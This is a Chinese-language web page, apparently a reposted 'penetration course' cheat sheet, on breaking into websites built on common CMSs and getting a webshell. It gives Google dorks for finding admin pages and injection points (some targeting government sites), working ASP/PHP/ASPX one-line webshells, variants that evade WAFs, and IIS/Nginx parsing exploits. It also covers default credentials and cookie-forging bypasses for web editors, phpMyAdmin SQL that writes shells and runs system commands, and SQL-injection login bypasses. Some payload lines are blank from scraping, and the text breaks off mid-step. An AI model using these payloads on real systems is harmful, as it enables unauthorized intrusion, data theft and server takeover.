【渗透课程】特别篇-主流网站程序Oday大全以及拿shell思路
版权和内容说明：
这篇文章不是本站编写,是从网络上摘抄的,可是通过了本站的改写优化,并将内容,格式规范化。javascript
本篇说明：这篇文章结合了前辈们前几年一路挖掘出来的主流程序漏洞以及思路, 小编写在前面是想让你们大体了解一下,由于《渗透课程》之后的内容,就是围绕着本篇所涉及的内容进行深度逻辑原理剖析。php
这是一篇比较彻底的基本渗透笔记。看不懂不要紧,后面会一一讲解不过本章的内容读者们要尽可能保存,可能会在拿站的时候应用到呢！css
常见网站程序asp类：
foosun(风讯)html
kesion(科汛)java
newasp(新云)mysql
乔客CreateLive(创力)linux
5uCMSKingCMSweb
DvBBS(动网)sql
BBSxp[博客]zblogthinkphp
PHP类：
DeDeCms（织梦）
ECMS（帝国）
PHPCMS
PHP168
HBcms（宏博）SupeSite
CMSware(思惟)Joomla!
[BBS]Discuz!
[BBS]phpWind[SNS]UCenterHome
[SNS]ThinkSNS[商城]EcShop
[商城]ShopEx[博客]WordPress
[维基]HDWiki
[微博]PHPsay[DIGG]PBdigg
PHP程序来源默认绝对路径
开源系统 数据库配置文件名 文件名所在的目录
Discuz! config.inc.php ./ config.inc.php
Phpcms config.inc.php ./include/config.inc.php
Wodpress wp-config.php ./ wp-config.php
Phpwind sqlconfig.php ./data/sqlconfig.php
phpweb config.inc.php ./config.inc.php
Php168v6 mysql_config.php ./php168/ mysql_config.php
Shopex config.php ./config/config.php
Ecshop config.php ./data/config.php
Joomla configuration.php ./ configuration.php
UCenter config.inc.php ./data/config.inc.php
EmpireCMS config.php ./e/class/config.php
Dedecms common.inc.php .data/common.inc.php
Zen Cart configure.php ./includes/configure.php
Mediawiki localsettints.php ./config/localsettints.php
Ecshop config.php ./data/config.php
osCommerce configure.php ./includes/configure.php
【 谷歌语法 】
site：能够限制你搜索范围的域名.
inurl：用于搜索网页上包含的URL，这个语法对寻找网页上的搜索，帮助之类的颇有用.
intext: 只搜索网页部分中包含的文字(也就是忽略了标题、URL等的文字)
intitle: 查包含关键词的页面，通常用于社工别人的webshell密码
filetype：搜索文件的后缀或者扩展名
intitle：限制你搜索的网页标题.
link: 能够获得一个全部包含了某个指定URL的页面列表.
查找后台地址：site:域名 inurl:login|admin|manage|member|admin_login|login_admin|system|login|user|main|cms
查找文本内容：site:域名 intext:管理|后台|登录|用户名|密码|验证码|系统|账号|admin|login|sys|managetem|password|username
查找可注入点：site:域名 inurl:aspx|jsp|php|asp
查找上传漏洞：site:域名 inurl:file|load|editor|Files
找eweb编辑器：site:域名 inurl:ewebeditor|editor|uploadfile|eweb|edit
存在的数据库：site:域名 filetype:mdb|asp|#
查看脚本类型：site:域名 filetype:asp/aspx/php/jsp
迂回策略入侵：inurl:cms/data/templates/images/index/
网络设备关键词：intext:WEB Management Interface for H3C SecPath Series
【 一句话木马 】
asp一句话木马：<%eval request(“x”)%>
php一句话木马：
aspx一句话：<%@ Page Language=”Jscript”%><%eval(Request.Item[“x”],”unsafe”);%>
网站配置、版权信息专用一句话：”%><%Eval Request(x)%>
一句话再过护卫神：<%Y=request(“x”)%> <%execute(Y)%>
过拦截一句话木马：<% eXEcGlOBaL ReQuEsT(“x”) %>
asp闭合型一句话 %><%eval request(“0o1Znz1ow”)%><%
能过安全狗的解析格式：;hfdjf.;dfd.;dfdfdfd.asp;sdsd.jpg
突破安全狗的一句话：<%Y=request(“x”)%> <%eval(Y)%>
elong过安全狗的php一句话：
后台经常使用写入php一句话（密码x）：
<?
$fp = @fopen(“c.php”, ‘a’);
@fwrite($fp, ‘<‘.’?php’.”rnrn”.’eval($_POST[x])’.”rnrn?”.”>rn”);
@fclose($fp);
?>
高强度php一句话：
新型变异PHP一句话(密码b4dboy):
($b4dboy = $_POST[‘b4dboy’]) && @preg_replace(‘/ad/e’,’@’.str_rot13(‘riny’).’($b4dboy)’, ‘add’);
突破安全狗的aspx一句话：<%@ Page Language=”C#” ValidateRequest=”false” %>
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies[“你的密码”].Value))).CreateInstance(“c”, true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>
突破护卫神，保护盾一句话：
许多网页程序都不容许包含〈%%〉标记符号的内容的文件上传，这样一句话木马就写入不进数据库了。
改为：〈scriptlanguage=VBScript runat=server〉execute request(“l”)〈/Script〉
这样就避开了使用〈%%〉，保存为.ASP,程序照样执行的效果是同样的。
PHP高强度一句话：
菜刀链接：/x.php?x=lostwolf 脚本类型：php 密码：c
菜刀链接 躲避检测 密码：c
【 解析漏洞总结 】
IIS 6.0
目录解析：/xx.asp/xx.jpg xx.jpg可替换为任意文本文件(e.g. xx.txt)，文本内容为后门代码IIS6.0 会将 xx.jpg 解析为 asp 文件。
后缀解析：/xx.asp;.jpg /xx.asp:.jpg(此处需抓包修改文件名)
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
默认解析：/xx.asa /xx.cer /xx.cdx
IIS6.0 默认的可执行文件除了 asp 还包含这三种
此处可联系利用目录解析漏洞 /xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
IIS 7.0/ IIS 7.5/ Nginx <8.03
在默认Fast-CGI开启情况下,在一个文件路径(/xx.jpg)后面加上/xx.php会将 /xx.jpg/xx.php 解析为 php 文件。
经常使用利用方法： 将一张图和一个写入后门代码的文本文件合并 将恶意文本写入图片的二进制代码以后，避免破坏图片文件头和尾
e.g.
copy xx.jpg/b + yy.txt/a xy.jpg
/b 即二进制[binary]模式
/a 即ascii模式 xx.jpg正常图片文件
yy.txt 内容
’);?>
意思为写入一个内容为
名称为shell.php的文件
找个地方上传 xy.jpg ,而后找到 xy.jpg 的地址，在地址后加上 /xx.php 便可执行恶意文本。
.而后就在图片目录下生成一句话木马 shell.php 密码 cmd
【 ewebeditor编辑器 】
默认后台：ewebeditor/admin_login.asp
账号密码：admin admin
样式设计：ewebeditor/admin_style.asp
查看版本：ewebeditor/dialog/about.html
数据库路径：db/ewebeditor.mdb db/%23ewebeditor.mdb db/%23ewebeditor.asp ewebeditor/db/!@#ewebeditor.asp (用谷歌语法找文件名)
遍历目录：ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir =../..
跳转目录：ewebeditor/admin_uoloadfile.asp？id=14&dir=.. (dir为列目录, ..为返回上层目录)，形式:dir ../..
点上传文件管理-随便选择一个样式目录，获得：ewindoweditor/admin_uoloadfile.asp?id=14 在id=14后面加&dir=../../../.. 就可看到整个网站的文件了(../本身加减)
( ewebeditor5.5版本 )
默认后台：ewebeditor/admin/login.asp
账号密码：admin 198625
数据库路径：data/%23sze7xiaohu.mdb
遍历目录：ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir=../
调用样式上传页面：ewebeditor/ewebeditor.htm?id=body&style=popup
( ewebeditor3.8 php版本 )
默认后台：eWebEditor/admin/login.php
首先随便输入一个账号和密码，接着系统会提示出错，这时清空浏览器的url，而后输入如下代码后连按三次回车键：
javascript:alert(document.cookie=”adminuser=”+escape(”admin”));javascript:alert(document.cookie=”adminpass=”+escape(”admin”));javascript:alert(document.cookie=”admindj=”+escape(”1”));
接着访问文件：ewebeditor/admin/default.php 就能够直接进入后台了。
( ewebeditor编辑器exp手册 )
有时候什么后缀都上传了，仍是不行。就增长一个asp:jpg格式 上传asp:jpg 试试
一：文件上传成功了，可是访问不成功，说明该目录(好比：/UploadFile)被设置了权限，返回去换成/ 上传到根目录就好了.增长asp等不行的时候，能够利用解析asp;jpg
二：下载数据库查看前人留下的痕迹，再访问上传页面拿shell。
页面路径：/ewebeditor.asp?id=48&style=popu7 用工具浏览数据库找到已添加asp|asa|cer|php的栏目，把S_ID跟S_Name的值替换在语句里访问，上传相对应的格式木马。
【 fckeditor编辑器 】
查看版本：fckeditor/editor/dialog/fck_about.html
编辑器页面：FCKeditor/_samples/default.html
上传页面：fckeditor/editor/filemanager/connectors/test.html
遍历目录：FCKeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/
编辑页面：fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp
查看文件上传路径：fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=
( 拿shell方法总结 )
ASPX的站几乎都用fck编辑器，建议用工具扫一下，记住inc目录下可能存在fck编辑器，扫下这个目录。
一：若是是iis6.0，上传两次 1.asp;.jpg 或者1.asp;1.jpg 或者建立x.asp目录，再在这个目录下上传x.jpg 或者直接上传1.asp;jpg 均可以完美解析拿下shell
二：第一次上传1.asp;1.jpg，被重命名为：1_asp;1.jpg，可是第二次上传1.asp;1.jpg，就有可能变成：1.asp;1(1).jpg
三：iis7.5+fck的解析文件为：a.aspx.a;.a.aspx.jpg..jpg.aspx
四：若是不是iis6.0 上传1.asp;jpg而后抓包，接下来改包，将分号变成空格，再用c32把20改为00，保存，利用%00 截断分号两次
五：成功访问别人的一句话木马页面，http://xx.com/UploadFilesEditorFilefile/2.asp;2(1).jpg 但不知道密码
http://xx.com/UploadFilesEditorFilefile2_asp;2.jpg 这个是图片木马，没有成功利用iis6.0解析漏洞仍是图片，下载下来用记事本打开找到密码。
六：IIS7.0/7.5 通杀oday，把php一句话木马后缀改为1.jpg传上去，找出一句话的路径后，在1.jpg的后面添加/.php 例如：http://www.xxx.com/iges/php.jpg/.php
( 创建文件夹 . 变 _ 的突破方法 )
利用Fiddler web debugger 这款工具来进行修改数据包，从而达到突破的目的。
注意：安装Fiddler web debugger，须要安装.net环境以及.net的SP2补丁方可运行！
1.打开fck的上传页面，例如：fckeditor/editor/filemanager/browser/default/connectors/test.html
2.再打开Fiddler web debugger这款工具，点击设置–自动断点–选择 “请求以前”
3.接着打开fck的上传页面，建立文件夹，并输入你想要建立的文件名，例如：x.asp
4.而后返回到Fiddler web debugger这款工具里，选择连接–点击右侧的嗅探
5.修改currentfolder内的参数，改为你要创建的文件夹名字，如：x.asp
6.而后点击右侧的：run to completion
7.再点击软件设置–自动断点–禁用，再到浏览器里点击肯定创建文件夹，你就会发现文件夹创建为x.asp了
【 linux 】
解析格式：1.php.xxx (xxx能够是任意)
若是apache不认识后缀为rar的文件，咱们就用1.php.rar格式上传，文件就会被服务器当作PHP脚本解析。
辨别linux系统方法：例如：http://www.xxx.com/xxx/abc.asp?id=125 把b换成大写B访问，若是出错了，就说明是linux系统，反之是windows系统.
【 旁注 】
旁注的技巧就是挑选支持aspx的站来日，这样提权时候但愿较大，如何探测服务器上哪些站点支持aspx呢? 利用bing搜索：http://cn.bing.com/ 搜索格式：ip:服务器ip aspx
好比要入侵一个网站，想知道该网站支不支持aspx，就在网站后面随便加上一个xxx.aspx回车，若是显示的不是iis默认的错误页面，而是这种：“/”应用程序中的服务器错误，说明支持aspx马。
【 phpmyadmin 】
查看版本：test.php 或 phpinfo.php
默认帐号密码：root root
万能账号密码：’localhost’@’@” 密码空
拿shell第一种方法：
CREATE TABLE mysql.darkmoon (darkmoon1 TEXT NOT NULL );
INSERT INTO mysql.darkmoon (darkmoon1 ) VALUES (‘
’);
SELECT darkmoon1 FROM darkmoon INTO OUTFILE ‘d:/wamp/www/darkmoon.php’;
DROP TABLE IF EXISTS darkmoon;
拿shell第二种方法：
Create TABLE moon (darkmoon text NOT NULL);
Insert INTO moon (darkmoon) VALUES(‘
’);
select darkmoon from moon into outfile ‘d:/wamp/www/darkmoon2.php’;
Drop TABLE IF EXISTS moon;
拿shell第三种方法：
select ‘
’INTO OUTFILE ‘d:/wamp/www/darkmoon3.php’
拿shell第四种方法
select ‘
’ INTO OUTFILE ‘d:/wamp/www/darkmoon4.php’
127.0.0.1/darkmoon4.php?cmd=net user
找到mysql数据库，执行sql语句便可写入一句话，再菜刀链接便可。
phpmyadmin脱裤
在这里面是能够直接拖库的，如同上传php拖库脚本同样，操做差很少的。
修改mysql默认的root用户名方法:
进入phpmyadmin,进入mysql表,执行sql语句
1.update user set user=’你的新root用户名’ where user=’root’;
2.flush privileges;
例如：
用root身份登入，进入mysql库，修改user表便可。
1.use mysql;
2.mysql>update user set user=’newName’ where user=’root’;
3.mysql> flush privileges;
【 万能密码 】
( php )
账号：’ UNION Select 1,1,1 FROM admin Where ”=’
密码：1
( asp )
‘xor
‘or’=’or’
‘or”=”or”=’
‘or ‘1’=’1’or ‘1’=’1
‘or 1=1/*
【 批量关键词 】
inurl:asp?id=
inurl:detail.php?
CompHonorBig.asp?id= 很不错的的一个搜索注入点
inurl:show.asp? 很是强大
site:www.yuming.com
inurl:articleshow.asp?articleid=数字
inurl:szwyadmin/login.asp
inurl:asp?id=1 intitle:政府
杭州 inurl:Article_Class2.asp?
【 木马后门 】
1.TNTHK小组内部版 —— 存在关键词后门，随便输入一个错的密码，右键查看源文件，找到错误关键词后面的font，在font后面的就是正确密码。
2.不灭之魂—不死僵尸变种 —— 用这款工具专门爆这款大马的密码：爆不灭之魂密码
3.终极防删免杀多功能VIP版本-无后门 —— 万能密码：wbgz 菜刀链接：kk
【 安全狗 】
1.过注入
方法一：a.asp?aaa=%00&id=sql语句
方法二： a.asp?id=sql语句 里面把安全过滤的加个%l 好比： un%aion sel%aect 1,2,3,4 fr%aom admin
2.过大马被阻拦访问
方法一：上传一个大马 而后访问http://sss.com/dama.asp ; 访问后出现拦截。
那么解决方法 先将dama.asp更名dama.jpg上传，而后在同目录上传个文件da.asp 内容为： <!–#include file=”dama.jpg” –> 这样再访问da.asp 就不会被拦截了。
3.过菜刀链接一句话被拦截
方法一：不用菜刀链接一句话，用别的一句话链接端。
方法二：中转下链接菜刀，把过滤掉的词替换掉。
【 本地构造上传漏洞 】
寻找程序上传漏洞，必须从上传页面的源文件入手，目标有两个：
1.filename (文件名称) 在上传页面中针对文件扩展名过滤不严，从而上传可执行的脚本木马。
2.filepath (文件路径) 在上传页面针对路径过滤不严，致使能够修改上传相对路径上传脚本木马。
当检测到一个上传页面，asp、asa后缀已经被过滤掉的时候，能够尝试抓包明小子或NC上传！
不行就利用本地上传漏洞构造上传！例如上传页面是：http://www.xx.com/upfile_other.asp
1.右键查看源文件，找到这段代码：
- 1. 【渗透技巧】内网渗透思路
- 2. 渗透思路
- 3. 网站渗透工具大全
- 4. 虚拟币网站安全防御 渗透测试流程
- 5. 网站漏洞安全测试 具体渗透思路分析
- 6. 渗透教程自学 网站渗透新手入门教程
- 7. 网站渗透思路(小白专看,大佬绕道)
- 8. 【安全】Web渗透测试（全流程）
- 9. wordpress渗透思路
- 10. web渗透思路
- 更多相关文章...
- • 网站主机教程 - 网站主机教程
- • 网站品质 教程 - 网站品质教程
- • JDK13 GA发布：5大特性解读
- • Java 8 Stream 教程
-
每一个你不满意的现在，都有一个你没有努力的曾经。
- 1. 【渗透技巧】内网渗透思路
- 2. 渗透思路
- 3. 网站渗透工具大全
- 4. 虚拟币网站安全防御 渗透测试流程
- 5. 网站漏洞安全测试 具体渗透思路分析
- 6. 渗透教程自学 网站渗透新手入门教程
- 7. 网站渗透思路(小白专看,大佬绕道)
- 8. 【安全】Web渗透测试（全流程）
- 9. wordpress渗透思路
- 10. web渗透思路